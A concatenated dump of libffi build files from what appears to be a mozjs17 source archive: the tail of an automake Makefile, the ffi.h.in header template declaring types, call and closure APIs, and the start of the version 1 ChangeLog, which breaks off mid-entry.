$(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(am__aclocal_m4_deps): ffi.h: $(top_builddir)/config.status $(srcdir)/ffi.h.in cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ mostlyclean-libtool: -rm -f *.lo clean-libtool: -rm -rf .libs _libs install-nodist_includesHEADERS: $(nodist_includes_HEADERS) @$(NORMAL_INSTALL) test -z "$(includesdir)" || $(MKDIR_P) "$(DESTDIR)$(includesdir)" @list='$(nodist_includes_HEADERS)'; test -n "$(includesdir)" || list=; \ for p in $$list; do \ if test -f "$$p"; then d=; else d="$(srcdir)/"; fi; \ echo "$$d$$p"; \ done | $(am__base_list) | \ while read files; do \ echo " $(INSTALL_HEADER) $$files '$(DESTDIR)$(includesdir)'"; \ $(INSTALL_HEADER) $$files "$(DESTDIR)$(includesdir)" || exit $$?; \ done uninstall-nodist_includesHEADERS: @$(NORMAL_UNINSTALL) @list='$(nodist_includes_HEADERS)'; test -n "$(includesdir)" || list=; \ files=`for p in $$list; do echo $$p; done | sed -e 's|^.*/||'`; \ test -n "$$files" || exit 0; \ echo " ( cd '$(DESTDIR)$(includesdir)' && rm -f" $$files ")"; \ cd "$(DESTDIR)$(includesdir)" && rm -f $$files ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES) list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ unique=`for i in $$list; do \ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ done | \ $(AWK) '{ files[$$0] = 1; nonempty = 1; } \ END { if (nonempty) { for (i in files) print i; }; }'`; \ mkid -fID $$unique tags: TAGS TAGS: $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ $(TAGS_FILES) $(LISP) set x; \ here=`pwd`; \ list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ unique=`for i in $$list; do \ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ done | \ $(AWK) '{ files[$$0] = 1; nonempty = 1; } \ END { if (nonempty) { for (i in files) print i; }; }'`; \ shift; \ if test -z "$(ETAGS_ARGS)$$*$$unique"; then :; else \ test -n "$$unique" || unique=$$empty_fix; \ if test $$# -gt 0; then \ $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ "$$@" $$unique; \ else \ $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ $$unique; \ fi; \ fi ctags: CTAGS CTAGS: $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ $(TAGS_FILES) $(LISP) list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ unique=`for i in $$list; do \ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ done | \ $(AWK) '{ files[$$0] = 1; nonempty = 1; } \ END { if (nonempty) { for (i in files) print i; }; }'`; \ test -z "$(CTAGS_ARGS)$$unique" \ || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \ $$unique GTAGS: here=`$(am__cd) $(top_builddir) && pwd` \ && $(am__cd) $(top_srcdir) \ && gtags -i $(GTAGS_ARGS) "$$here" distclean-tags: -rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags distdir: $(DISTFILES) @srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ topsrcdirstrip=`echo "$(top_srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ list='$(DISTFILES)'; \ dist_files=`for file in $$list; do echo $$file; done | \ sed -e "s|^$$srcdirstrip/||;t" \ -e "s|^$$topsrcdirstrip/|$(top_builddir)/|;t"`; \ case $$dist_files in \ */*) $(MKDIR_P) `echo "$$dist_files" | \ sed '/\//!d;s|^|$(distdir)/|;s,/[^/]*$$,,' | \ sort -u` ;; \ esac; \ for file in $$dist_files; do \ if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \ if test -d $$d/$$file; then \ dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \ if test -d "$(distdir)/$$file"; then \ find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ fi; \ if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \ cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \ find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ fi; \ cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \ else \ test -f "$(distdir)/$$file" \ || cp -p $$d/$$file "$(distdir)/$$file" \ || exit 1; \ fi; \ done check-am: all-am check: check-am all-am: Makefile $(HEADERS) installdirs: for dir in "$(DESTDIR)$(includesdir)"; do \ test -z "$$dir" || $(MKDIR_P) "$$dir"; \ done install: install-am install-exec: install-exec-am install-data: install-data-am uninstall: uninstall-am install-am: all-am @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am installcheck: installcheck-am install-strip: $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ `test -z '$(STRIP)' || \ echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install mostlyclean-generic: clean-generic: distclean-generic: -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES) -test -z "$(DISTCLEANFILES)" || rm -f $(DISTCLEANFILES) maintainer-clean-generic: @echo "This command is intended for maintainers to use" @echo "it deletes files that may require special tools to rebuild." clean: clean-am clean-am: clean-generic clean-libtool mostlyclean-am distclean: distclean-am -rm -f Makefile distclean-am: clean-am distclean-generic distclean-tags dvi: dvi-am dvi-am: html: html-am html-am: info: info-am info-am: install-data-am: install-nodist_includesHEADERS install-dvi: install-dvi-am install-dvi-am: install-exec-am: install-html: install-html-am install-html-am: install-info: install-info-am install-info-am: install-man: install-pdf: install-pdf-am install-pdf-am: install-ps: install-ps-am install-ps-am: installcheck-am: maintainer-clean: maintainer-clean-am -rm -f Makefile maintainer-clean-am: distclean-am maintainer-clean-generic mostlyclean: mostlyclean-am mostlyclean-am: mostlyclean-generic mostlyclean-libtool pdf: pdf-am pdf-am: ps: ps-am ps-am: uninstall-am: uninstall-nodist_includesHEADERS .MAKE: install-am install-strip .PHONY: CTAGS GTAGS all all-am check check-am clean clean-generic \ clean-libtool ctags distclean distclean-generic \ distclean-libtool distclean-tags distdir dvi dvi-am html \ html-am info info-am install install-am install-data \ install-data-am install-dvi install-dvi-am install-exec \ install-exec-am install-html install-html-am install-info \ install-info-am install-man install-nodist_includesHEADERS \ install-pdf install-pdf-am install-ps install-ps-am \ install-strip installcheck installcheck-am installdirs \ maintainer-clean maintainer-clean-generic mostlyclean \ mostlyclean-generic mostlyclean-libtool pdf pdf-am ps ps-am \ tags uninstall uninstall-am uninstall-nodist_includesHEADERS # Tell versions [3.59,3.63) of GNU make to not export all variables. # Otherwise a system limit (for SysV at least) may be exceeded. .NOEXPORT: mozjs17.0.0/js/src/ctypes/libffi/include/ffi.h.in0000664000175000017500000002600512106270662021515 0ustar sstanglsstangl/* -----------------------------------------------------------------*-C-*- libffi @VERSION@ - Copyright (c) 1996-2003, 2007, 2008 Red Hat, Inc. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ /* ------------------------------------------------------------------- The basic API is described in the README file. The raw API is designed to bypass some of the argument packing and unpacking on architectures for which it can be avoided. The closure API allows interpreted functions to be packaged up inside a C function pointer, so that they can be called as C functions, with no understanding on the client side that they are interpreted. It can also be used in other cases in which it is necessary to package up a user specified parameter and a function pointer as a single function pointer. The closure API must be implemented in order to get its functionality, e.g. for use by gij. Routines are provided to emulate the raw API if the underlying platform doesn't allow faster implementation. More details on the raw and cloure API can be found in: http://gcc.gnu.org/ml/java/1999-q3/msg00138.html and http://gcc.gnu.org/ml/java/1999-q3/msg00174.html -------------------------------------------------------------------- */ #ifndef LIBFFI_H #define LIBFFI_H #ifdef __cplusplus extern "C" { #endif /* Specify which architecture libffi is configured for. */ #ifndef @TARGET@ #define @TARGET@ #endif /* ---- System configuration information --------------------------------- */ #include #ifndef LIBFFI_ASM #ifdef _MSC_VER #define __attribute__(X) #endif #include #include /* LONG_LONG_MAX is not always defined (not if STRICT_ANSI, for example). But we can find it either under the correct ANSI name, or under GNU C's internal name. */ #define FFI_64_BIT_MAX 9223372036854775807 #ifdef LONG_LONG_MAX # define FFI_LONG_LONG_MAX LONG_LONG_MAX #else # ifdef LLONG_MAX # define FFI_LONG_LONG_MAX LLONG_MAX # else # ifdef __GNUC__ # define FFI_LONG_LONG_MAX __LONG_LONG_MAX__ # endif # ifdef _AIX # ifndef __PPC64__ # if defined (__IBMC__) || defined (__IBMCPP__) # define FFI_LONG_LONG_MAX LONGLONG_MAX # endif # endif /* __PPC64__ */ # undef FFI_64_BIT_MAX # define FFI_64_BIT_MAX 9223372036854775807LL # endif # endif #endif /* The closure code assumes that this works on pointers, i.e. a size_t */ /* can hold a pointer. */ typedef struct _ffi_type { size_t size; unsigned short alignment; unsigned short type; struct _ffi_type **elements; } ffi_type; #ifndef LIBFFI_HIDE_BASIC_TYPES #if SCHAR_MAX == 127 # define ffi_type_uchar ffi_type_uint8 # define ffi_type_schar ffi_type_sint8 #else #error "char size not supported" #endif #if SHRT_MAX == 32767 # define ffi_type_ushort ffi_type_uint16 # define ffi_type_sshort ffi_type_sint16 #elif SHRT_MAX == 2147483647 # define ffi_type_ushort ffi_type_uint32 # define ffi_type_sshort ffi_type_sint32 #else #error "short size not supported" #endif #if INT_MAX == 32767 # define ffi_type_uint ffi_type_uint16 # define ffi_type_sint ffi_type_sint16 #elif INT_MAX == 2147483647 # define ffi_type_uint ffi_type_uint32 # define ffi_type_sint ffi_type_sint32 #elif INT_MAX == 9223372036854775807 # define ffi_type_uint ffi_type_uint64 # define ffi_type_sint ffi_type_sint64 #else #error "int size not supported" #endif #if LONG_MAX == 2147483647 # if FFI_LONG_LONG_MAX != FFI_64_BIT_MAX #error "no 64-bit data type supported" # endif #elif LONG_MAX != FFI_64_BIT_MAX #error "long size not supported" #endif #if LONG_MAX == 2147483647 # define ffi_type_ulong ffi_type_uint32 # define ffi_type_slong ffi_type_sint32 #elif LONG_MAX == FFI_64_BIT_MAX # define ffi_type_ulong ffi_type_uint64 # define ffi_type_slong ffi_type_sint64 #else #error "long size not supported" #endif /* These are defined in types.c */ extern ffi_type ffi_type_void; extern ffi_type ffi_type_uint8; extern ffi_type ffi_type_sint8; extern ffi_type ffi_type_uint16; extern ffi_type ffi_type_sint16; extern ffi_type ffi_type_uint32; extern ffi_type ffi_type_sint32; extern ffi_type ffi_type_uint64; extern ffi_type ffi_type_sint64; extern ffi_type ffi_type_float; extern ffi_type ffi_type_double; extern ffi_type ffi_type_pointer; #if @HAVE_LONG_DOUBLE@ extern ffi_type ffi_type_longdouble; #else #define ffi_type_longdouble ffi_type_double #endif #endif /* LIBFFI_HIDE_BASIC_TYPES */ typedef enum { FFI_OK = 0, FFI_BAD_TYPEDEF, FFI_BAD_ABI } ffi_status; typedef unsigned FFI_TYPE; typedef struct { ffi_abi abi; unsigned nargs; ffi_type **arg_types; ffi_type *rtype; unsigned bytes; unsigned flags; #ifdef FFI_EXTRA_CIF_FIELDS FFI_EXTRA_CIF_FIELDS; #endif } ffi_cif; /* ---- Definitions for the raw API -------------------------------------- */ #ifndef FFI_SIZEOF_ARG # if LONG_MAX == 2147483647 # define FFI_SIZEOF_ARG 4 # elif LONG_MAX == FFI_64_BIT_MAX # define FFI_SIZEOF_ARG 8 # endif #endif #ifndef FFI_SIZEOF_JAVA_RAW # define FFI_SIZEOF_JAVA_RAW FFI_SIZEOF_ARG #endif typedef union { ffi_sarg sint; ffi_arg uint; float flt; char data[FFI_SIZEOF_ARG]; void* ptr; } ffi_raw; #if FFI_SIZEOF_JAVA_RAW == 4 && FFI_SIZEOF_ARG == 8 /* This is a special case for mips64/n32 ABI (and perhaps others) where sizeof(void *) is 4 and FFI_SIZEOF_ARG is 8. */ typedef union { signed int sint; unsigned int uint; float flt; char data[FFI_SIZEOF_JAVA_RAW]; void* ptr; } ffi_java_raw; #else typedef ffi_raw ffi_java_raw; #endif void ffi_raw_call (ffi_cif *cif, void (*fn)(void), void *rvalue, ffi_raw *avalue); void ffi_ptrarray_to_raw (ffi_cif *cif, void **args, ffi_raw *raw); void ffi_raw_to_ptrarray (ffi_cif *cif, ffi_raw *raw, void **args); size_t ffi_raw_size (ffi_cif *cif); /* This is analogous to the raw API, except it uses Java parameter */ /* packing, even on 64-bit machines. I.e. on 64-bit machines */ /* longs and doubles are followed by an empty 64-bit word. */ void ffi_java_raw_call (ffi_cif *cif, void (*fn)(void), void *rvalue, ffi_java_raw *avalue); void ffi_java_ptrarray_to_raw (ffi_cif *cif, void **args, ffi_java_raw *raw); void ffi_java_raw_to_ptrarray (ffi_cif *cif, ffi_java_raw *raw, void **args); size_t ffi_java_raw_size (ffi_cif *cif); /* ---- Definitions for closures ----------------------------------------- */ #if FFI_CLOSURES #ifdef _MSC_VER __declspec(align(8)) #endif typedef struct { char tramp[FFI_TRAMPOLINE_SIZE]; ffi_cif *cif; void (*fun)(ffi_cif*,void*,void**,void*); void *user_data; #ifdef __GNUC__ } ffi_closure __attribute__((aligned (8))); #else } ffi_closure; #endif void *ffi_closure_alloc (size_t size, void **code); void ffi_closure_free (void *); ffi_status ffi_prep_closure (ffi_closure*, ffi_cif *, void (*fun)(ffi_cif*,void*,void**,void*), void *user_data); ffi_status ffi_prep_closure_loc (ffi_closure*, ffi_cif *, void (*fun)(ffi_cif*,void*,void**,void*), void *user_data, void*codeloc); typedef struct { char tramp[FFI_TRAMPOLINE_SIZE]; ffi_cif *cif; #if !FFI_NATIVE_RAW_API /* if this is enabled, then a raw closure has the same layout as a regular closure. We use this to install an intermediate handler to do the transaltion, void** -> ffi_raw*. */ void (*translate_args)(ffi_cif*,void*,void**,void*); void *this_closure; #endif void (*fun)(ffi_cif*,void*,ffi_raw*,void*); void *user_data; } ffi_raw_closure; typedef struct { char tramp[FFI_TRAMPOLINE_SIZE]; ffi_cif *cif; #if !FFI_NATIVE_RAW_API /* if this is enabled, then a raw closure has the same layout as a regular closure. We use this to install an intermediate handler to do the transaltion, void** -> ffi_raw*. */ void (*translate_args)(ffi_cif*,void*,void**,void*); void *this_closure; #endif void (*fun)(ffi_cif*,void*,ffi_java_raw*,void*); void *user_data; } ffi_java_raw_closure; ffi_status ffi_prep_raw_closure (ffi_raw_closure*, ffi_cif *cif, void (*fun)(ffi_cif*,void*,ffi_raw*,void*), void *user_data); ffi_status ffi_prep_raw_closure_loc (ffi_raw_closure*, ffi_cif *cif, void (*fun)(ffi_cif*,void*,ffi_raw*,void*), void *user_data, void *codeloc); ffi_status ffi_prep_java_raw_closure (ffi_java_raw_closure*, ffi_cif *cif, void (*fun)(ffi_cif*,void*,ffi_java_raw*,void*), void *user_data); ffi_status ffi_prep_java_raw_closure_loc (ffi_java_raw_closure*, ffi_cif *cif, void (*fun)(ffi_cif*,void*,ffi_java_raw*,void*), void *user_data, void *codeloc); #endif /* FFI_CLOSURES */ /* ---- Public interface definition -------------------------------------- */ ffi_status ffi_prep_cif(ffi_cif *cif, ffi_abi abi, unsigned int nargs, ffi_type *rtype, ffi_type **atypes); void ffi_call(ffi_cif *cif, void (*fn)(void), void *rvalue, void **avalue); /* Useful for eliminating compiler warnings */ #define FFI_FN(f) ((void (*)(void))f) /* ---- Definitions shared with assembly code ---------------------------- */ #endif /* If these change, update src/mips/ffitarget.h. */ #define FFI_TYPE_VOID 0 #define FFI_TYPE_INT 1 #define FFI_TYPE_FLOAT 2 #define FFI_TYPE_DOUBLE 3 #if @HAVE_LONG_DOUBLE@ #define FFI_TYPE_LONGDOUBLE 4 #else #define FFI_TYPE_LONGDOUBLE FFI_TYPE_DOUBLE #endif #define FFI_TYPE_UINT8 5 #define FFI_TYPE_SINT8 6 #define FFI_TYPE_UINT16 7 #define FFI_TYPE_SINT16 8 #define FFI_TYPE_UINT32 9 #define FFI_TYPE_SINT32 10 #define FFI_TYPE_UINT64 11 #define FFI_TYPE_SINT64 12 #define FFI_TYPE_STRUCT 13 #define FFI_TYPE_POINTER 14 /* This should always refer to the last type code (for sanity checks) */ #define FFI_TYPE_LAST FFI_TYPE_POINTER #ifdef __cplusplus } #endif #endif mozjs17.0.0/js/src/ctypes/libffi/ChangeLog.v10000664000175000017500000005474012106270662020656 0ustar sstanglsstanglThe libffi version 1 ChangeLog archive. Version 1 of libffi had per-directory ChangeLogs. Current and future versions have a single ChangeLog file in the root directory. The version 1 ChangeLogs have all been concatonated into this file for future reference only. --- libffi ---------------------------------------------------------------- Mon Oct 5 02:17:50 1998 Anthony Green * configure.in: Boosted rev. * configure, Makefile.in, aclocal.m4: Rebuilt. * README: Boosted rev and updated release notes. Mon Oct 5 01:03:03 1998 Anthony Green * configure.in: Boosted rev. * configure, Makefile.in, aclocal.m4: Rebuilt. * README: Boosted rev and updated release notes. 1998-07-25 Andreas Schwab * m68k/ffi.c (ffi_prep_cif_machdep): Use bitmask for cif->flags. Correctly handle small structures. (ffi_prep_args): Also handle small structures. (ffi_call): Pass size of return type to ffi_call_SYSV. * m68k/sysv.S: Adjust for above changes. Correctly align small structures in the return value. * types.c (uint64, sint64) [M68K]: Change alignment to 4. Fri Apr 17 17:26:58 1998 Anthony Green * configure.in: Boosted rev. * configure,Makefile.in,aclocal.m4: Rebuilt. * README: Boosted rev and added release notes. Sun Feb 22 00:50:41 1998 Geoff Keating * configure.in: Add PowerPC config bits. 1998-02-14 Andreas Schwab * configure.in: Add m68k config bits. Change AC_CANONICAL_SYSTEM to AC_CANONICAL_HOST, this is not a compiler. Use $host instead of $target. Remove AC_CHECK_SIZEOF(char), we already know the result. Fix argument of AC_ARG_ENABLE. * configure, fficonfig.h.in: Rebuilt. Tue Feb 10 20:53:40 1998 Richard Henderson * configure.in: Add Alpha config bits. Tue May 13 13:39:20 1997 Anthony Green * README: Updated dates and reworded Irix comments. * configure.in: Removed AC_PROG_RANLIB. * Makefile.in, aclocal.m4, config.guess, config.sub, configure, ltmain.sh, */Makefile.in: libtoolized again and rebuilt with automake and autoconf. Sat May 10 18:44:50 1997 Tom Tromey * configure, aclocal.m4: Rebuilt. * configure.in: Don't compute EXTRADIST; now handled in src/Makefile.in. Removed macros implied by AM_INIT_AUTOMAKE. Don't run AM_MAINTAINER_MODE. Thu May 8 14:34:05 1997 Anthony Green * missing, ltmain.sh, ltconfig.sh: Created. These are new files required by automake and libtool. * README: Boosted rev to 1.14. Added notes. * acconfig.h: Moved PACKAGE and VERSION for new automake. * configure.in: Changes for libtool. * Makefile.am (check): make test now make check. Uses libtool now. * Makefile.in, configure.in, aclocal.h, fficonfig.h.in: Rebuilt. Thu May 1 16:27:07 1997 Anthony Green * missing: Added file required by new automake. Tue Nov 26 14:10:42 1996 Anthony Green * acconfig.h: Added USING_PURIFY flag. This is defined when --enable-purify-safety was used at configure time. * configure.in (allsources): Added --enable-purify-safety switch. (VERSION): Boosted rev to 1.13. * configure: Rebuilt. Fri Nov 22 06:46:12 1996 Anthony Green * configure.in (VERSION): Boosted rev to 1.12. Removed special CFLAGS hack for gcc. * configure: Rebuilt. * README: Boosted rev to 1.12. Added notes. * Many files: Cygnus Support changed to Cygnus Solutions. Wed Oct 30 11:15:25 1996 Anthony Green * configure.in (VERSION): Boosted rev to 1.11. * configure: Rebuilt. * README: Boosted rev to 1.11. Added notes about GNU make. Tue Oct 29 12:25:12 1996 Anthony Green * configure.in: Fixed -Wall trick. (VERSION): Boosted rev. * configure: Rebuilt * acconfig.h: Needed for --enable-debug configure switch. * README: Boosted rev to 1.09. Added more notes on building libffi, and LCLint. * configure.in: Added --enable-debug switch. Boosted rev to 1.09. * configure: Rebuilt Tue Oct 15 13:11:28 1996 Anthony Green * configure.in (VERSION): Boosted rev to 1.08 * configure: Rebuilt. * README: Added n32 bug fix notes. * Makefile.am: Added "make lint" production. * Makefile.in: Rebuilt. Mon Oct 14 10:54:46 1996 Anthony Green * README: Added web page reference. * configure.in, README: Boosted rev to 1.05 * configure: Rebuilt. * README: Fixed n32 sample code. Fri Oct 11 17:09:28 1996 Anthony Green * README: Added sparc notes. * configure.in, README: Boosted rev to 1.04. * configure: Rebuilt. Thu Oct 10 10:31:03 1996 Anthony Green * configure.in, README: Boosted rev to 1.03. * configure: Rebuilt. * README: Added struct notes. * Makefile.am (EXTRA_DIST): Added LICENSE to distribution. * Makefile.in: Rebuilt. * README: Removed Linux section. No special notes now because aggregates arg/return types work. Wed Oct 9 16:16:42 1996 Anthony Green * README, configure.in (VERSION): Boosted rev to 1.02 * configure: Rebuilt. Tue Oct 8 11:56:33 1996 Anthony Green * README (NOTE): Added n32 notes. * Makefile.am: Added test production. * Makefile: Rebuilt * README: spell checked! * configure.in (VERSION): Boosted rev to 1.01 * configure: Rebuilt. Mon Oct 7 15:50:22 1996 Anthony Green * configure.in: Added nasty bit to support SGI tools. * configure: Rebuilt. * README: Added SGI notes. Added note about automake bug. Mon Oct 7 11:00:28 1996 Anthony Green * README: Rewrote intro, and fixed examples. Fri Oct 4 10:19:55 1996 Anthony Green * configure.in: -D$TARGET is no longer used as a compiler switch. It is now inserted into ffi.h at configure time. * configure: Rebuilt. * FFI_ABI and FFI_STATUS are now ffi_abi and ffi_status. Thu Oct 3 13:47:34 1996 Anthony Green * README, LICENSE: Created. Wrote some docs. * configure.in: Don't barf on i586-unknown-linuxaout. Added EXTRADIST code for "make dist". * configure: Rebuilt. * */Makefile.in: Rebuilt with patched automake. Tue Oct 1 17:12:25 1996 Anthony Green * Makefile.am, aclocal.m4, config.guess, config.sub, configure.in, fficonfig.h.in, install-sh, mkinstalldirs, stamp-h.in: Created * Makefile.in, configure: Generated --- libffi/include -------------------------------------------------------- Tue Feb 24 13:09:36 1998 Anthony Green * ffi_mips.h: Updated FFI_TYPE_STRUCT_* values based on ffi.h.in changes. This is a work-around for SGI's "simple" assembler. Sun Feb 22 00:51:55 1998 Geoff Keating * ffi.h.in: PowerPC support. 1998-02-14 Andreas Schwab * ffi.h.in: Add m68k support. (FFI_TYPE_LONGDOUBLE): Make it a separate value. Tue Feb 10 20:55:16 1998 Richard Henderson * ffi.h.in (SIZEOF_ARG): Use a pointer type by default. * ffi.h.in: Alpha support. Fri Nov 22 06:48:45 1996 Anthony Green * ffi.h.in, ffi_common.h: Cygnus Support -> Cygnus Solutions. Wed Nov 20 22:31:01 1996 Anthony Green * ffi.h.in: Added ffi_type_void definition. Tue Oct 29 12:22:40 1996 Anthony Green * Makefile.am (hack_DATA): Always install ffi_mips.h. * ffi.h.in: Removed FFI_DEBUG. It's now in the correct place (acconfig.h). Added #include for size_t definition. Tue Oct 15 17:23:35 1996 Anthony Green * ffi.h.in, ffi_common.h, ffi_mips.h: More clean up. Commented out #define of FFI_DEBUG. Tue Oct 15 13:01:06 1996 Anthony Green * ffi_common.h: Added bool definition. * ffi.h.in, ffi_common.h: Clean up based on LCLint output. Added funny /*@...@*/ comments to annotate source. Mon Oct 14 12:29:23 1996 Anthony Green * ffi.h.in: Interface changes based on feedback from Jim Blandy. Fri Oct 11 16:49:35 1996 Anthony Green * ffi.h.in: Small change for sparc support. Thu Oct 10 14:53:37 1996 Anthony Green * ffi_mips.h: Added FFI_TYPE_STRUCT_* definitions for special structure return types. Wed Oct 9 13:55:57 1996 Anthony Green * ffi.h.in: Added SIZEOF_ARG definition for X86 Tue Oct 8 11:40:36 1996 Anthony Green * ffi.h.in (FFI_FN): Added macro for eliminating compiler warnings. Use it to case your function pointers to the proper type. * ffi_mips.h (SIZEOF_ARG): Added magic to fix type promotion bug. * Makefile.am (EXTRA_DIST): Added ffi_mips.h to EXTRA_DIST. * Makefile: Rebuilt. * ffi_mips.h: Created. Moved all common mips definitions here. Mon Oct 7 10:58:12 1996 Anthony Green * ffi.h.in: The SGI assember is very picky about parens. Redefined some macros to avoid problems. * ffi.h.in: Added FFI_DEFAULT_ABI definitions. Also added externs for pointer, and 64bit integral ffi_types. Fri Oct 4 09:51:37 1996 Anthony Green * ffi.h.in: Added FFI_ABI member to ffi_cif and changed function prototypes accordingly. Added #define @TARGET@. Now programs including ffi.h don't have to specify this themselves. Thu Oct 3 15:36:44 1996 Anthony Green * ffi.h.in: Changed ffi_prep_cif's values from void* to void** * Makefile.am (EXTRA_DIST): Added EXTRA_DIST for "make dist" to work. * Makefile.in: Regenerated. Wed Oct 2 10:16:59 1996 Anthony Green * Makefile.am: Created * Makefile.in: Generated * ffi_common.h: Added rcsid comment Tue Oct 1 17:13:51 1996 Anthony Green * ffi.h.in, ffi_common.h: Created --- libffi/src ------------------------------------------------------------ Mon Oct 5 02:17:50 1998 Anthony Green * arm/ffi.c, arm/sysv.S: Created. * Makefile.am: Added arm files. * Makefile.in: Rebuilt. Mon Oct 5 01:41:38 1998 Anthony Green * Makefile.am (libffi_la_LDFLAGS): Incremented revision. Sun Oct 4 16:27:17 1998 Anthony Green * alpha/osf.S (ffi_call_osf): Patch for DU assembler. * ffitest.c (main): long long and long double return values work for x86. Fri Apr 17 11:50:58 1998 Anthony Green * Makefile.in: Rebuilt. * ffitest.c (main): Floating point tests not executed for systems with broken lond double (SunOS 4 w/ GCC). * types.c: Fixed x86 alignment info for long long types. Thu Apr 16 07:15:28 1998 Anthony Green * ffitest.c: Added more notes about GCC bugs under Irix 6. Wed Apr 15 08:42:22 1998 Anthony Green * ffitest.c (struct5): New test function. (main): New test with struct5. Thu Mar 5 10:48:11 1998 Anthony Green * prep_cif.c (initialize_aggregate): Fix assertion for nested structures. Tue Feb 24 16:33:41 1998 Anthony Green * prep_cif.c (ffi_prep_cif): Added long double support for sparc. Sun Feb 22 00:52:18 1998 Geoff Keating * powerpc/asm.h: New file. * powerpc/ffi.c: New file. * powerpc/sysv.S: New file. * Makefile.am: PowerPC port. * ffitest.c (main): Allow all tests to run even in presence of gcc bug on PowerPC. 1998-02-17 Anthony Green * mips/ffi.c: Fixed comment typo. * x86/ffi.c (ffi_prep_cif_machdep), x86/sysv.S (retfloat): Fixed x86 long double return handling. * types.c: Fixed x86 long double alignment info. 1998-02-14 Andreas Schwab * types.c: Add m68k support. * ffitest.c (floating): Add long double parameter. (return_ll, ldblit): New functions to test long long and long double return value. (main): Fix type error in assignment of ts[1-4]_type.elements. Add tests for long long and long double arguments and return values. * prep_cif.c (ffi_prep_cif) [M68K]: Don't allocate argument for struct value pointer. * m68k/ffi.c, m68k/sysv.S: New files. * Makefile.am: Add bits for m68k port. Add kludge to work around automake deficiency. (test): Don't require "." in $PATH. * Makefile.in: Rebuilt. Wed Feb 11 07:36:50 1998 Anthony Green * Makefile.in: Rebuilt. Tue Feb 10 20:56:00 1998 Richard Henderson * alpha/ffi.c, alpha/osf.S: New files. * Makefile.am: Alpha port. Tue Nov 18 14:12:07 1997 Anthony Green * mips/ffi.c (ffi_prep_cif_machdep): Initialize rstruct_flag for n32. Tue Jun 3 17:18:20 1997 Anthony Green * ffitest.c (main): Added hack to get structure tests working correctly. Sat May 10 19:06:42 1997 Tom Tromey * Makefile.in: Rebuilt. * Makefile.am (EXTRA_DIST): Explicitly list all distributable files in subdirs. (VERSION, CC): Removed. Thu May 8 17:19:01 1997 Anthony Green * Makefile.am: Many changes for new automake and libtool. * Makefile.in: Rebuilt. Fri Nov 22 06:57:56 1996 Anthony Green * ffitest.c (main): Fixed test case for non mips machines. Wed Nov 20 22:31:59 1996 Anthony Green * types.c: Added ffi_type_void declaration. Tue Oct 29 13:07:19 1996 Anthony Green * ffitest.c (main): Fixed character constants. (main): Emit warning for structure test 3 failure on Sun. * Makefile.am (VPATH): Fixed VPATH def'n so automake won't strip it out. Moved distdir hack from libffi to automake. (ffitest): Added missing -c for $(COMPILE) (change in automake). * Makefile.in: Rebuilt. Tue Oct 15 13:08:20 1996 Anthony Green * Makefile.am: Added "make lint" production. * Makefile.in: Rebuilt. * prep_cif.c (STACK_ARG_SIZE): Improved STACK_ARG_SIZE macro. Clean up based on LCLint output. Added funny /*@...@*/ comments to annotate source. * ffitest.c, debug.c: Cleaned up code. Mon Oct 14 12:26:56 1996 Anthony Green * ffitest.c: Changes based on interface changes. * prep_cif.c (ffi_prep_cif): Cleaned up interface based on feedback from Jim Blandy. Fri Oct 11 15:53:18 1996 Anthony Green * ffitest.c: Reordered tests while porting to sparc. Made changes to handle lame structure passing for sparc. Removed calls to fflush(). * prep_cif.c (ffi_prep_cif): Added special case for sparc aggregate type 